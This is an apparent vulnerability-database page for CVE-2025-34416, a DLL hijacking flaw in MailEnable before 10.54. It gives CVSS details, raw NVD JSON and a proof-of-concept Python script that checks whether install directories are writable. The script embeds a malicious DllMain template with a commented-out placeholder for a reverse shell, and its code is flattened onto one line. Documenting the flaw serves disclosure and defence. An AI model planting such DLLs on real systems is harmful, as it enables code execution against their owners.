Security Vulnerability Report
中文
CVE-2025-34416 CVSS 7.8 HIGH

CVE-2025-34416

Published: 2025-12-10 16:16:25
Last Modified: 2025-12-23 14:15:15

Description

MailEnable versions prior to 10.54 contain an unsafe DLL loading vulnerability that can lead to local arbitrary code execution. The MailEnable administrative executable attempts to load MEAIPO.DLL from its installation directory without sufficient integrity validation or a secure search order. A local attacker with write access to that directory can plant a malicious MEAIPO.DLL, which is then loaded when the executable starts, resulting in execution of attacker-controlled code with the privileges of the process.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:* - VULNERABLE
MailEnable < 10.54

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-34416 PoC - MailEnable MEAIPO.DLL Hijacking This PoC demonstrates DLL search order hijacking vulnerability in MailEnable. Note: This is for educational and authorized testing purposes only. """ import os import ctypes from ctypes import wintypes def create_malicious_dll(): """ Generate a malicious DLL that will be loaded by MailEnable. In a real attack, this DLL would contain shellcode or malicious functions. """ dll_template = ''' // Malicious MEAIPO.DLL for CVE-2025-34416 #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute malicious code here // This code runs when the DLL is loaded by MailEnable MessageBox(NULL, "Malicious DLL Loaded", "CVE-2025-34416", MB_OK); // Example: Spawn a reverse shell or execute payload // system("cmd.exe /c <malicious_command>"); } return TRUE; } // Export functions that MailEnable expects to find int MEA_IPO_Initialize() { return 0; } ''' return dll_template def check_vulnerability(): """ Check if MailEnable installation directory is writable by current user. """ # Common MailEnable installation paths mailenable_paths = [ r"C:\Program Files\MailEnable\bin", r"C:\Program Files (x86)\MailEnable\bin", r"C:\MailEnable\bin" ] for path in mailenable_paths: if os.path.exists(path): dll_path = os.path.join(path, "MEAIPO.DLL") print(f"[*] Found MailEnable installation: {path}") print(f"[*] MEAIPO.DLL location: {dll_path}") # Check if directory is writable test_file = os.path.join(path, ".write_test") try: with open(test_file, 'w') as f: f.write('test') os.remove(test_file) print(f"[!] VULNERABLE: Directory is writable by current user!") return True, path except: print(f"[*] Directory is not writable by current user") return False, path print("[*] MailEnable installation not found") return False, None def exploit(target_path): """ Exploit the DLL hijacking vulnerability by planting malicious DLL. """ malicious_dll = os.path.join(target_path, "MEAIPO.DLL") # In real attack, compile and place the malicious DLL print(f"[*] Planting malicious MEAIPO.DLL to: {malicious_dll}") print("[*] When MailEnable admin is executed, the malicious DLL will be loaded") print("[*] Attack requires social engineering or scheduled task to trigger") if __name__ == "__main__": print("="*60) print("CVE-2025-34416 - MailEnable DLL Hijacking PoC") print("="*60) is_vulnerable, path = check_vulnerability() if is_vulnerable: print("\n[*] Exploitation possible - proceed with caution") # exploit(path) # Uncomment to simulate exploitation

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34416", "sourceIdentifier": "[email protected]", "published": "2025-12-10T16:16:24.960", "lastModified": "2025-12-23T14:15:15.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MailEnable versions prior to 10.54 contain an unsafe DLL loading vulnerability that can lead to local arbitrary code execution. The MailEnable administrative executable attempts to load MEAIPO.DLL from its installation directory without sufficient integrity validation or a secure search order. A local attacker with write access to that directory can plant a malicious MEAIPO.DLL, which is then loaded when the executable starts, resulting in execution of attacker-controlled code with the privileges of the process."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:*", "versionEndExcluding": "10.54", "matchCriteriaId": "E4DAB799-EDB6-48D7-A7FD-77D9910CB308"}]}]}], "references": [{"url": "https://mailenable.com/Standard-ReleaseNotes.txt", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.mailenable.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/mailenable-dll-hijacking-via-unsafe-loading-of-meaipo-dll", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}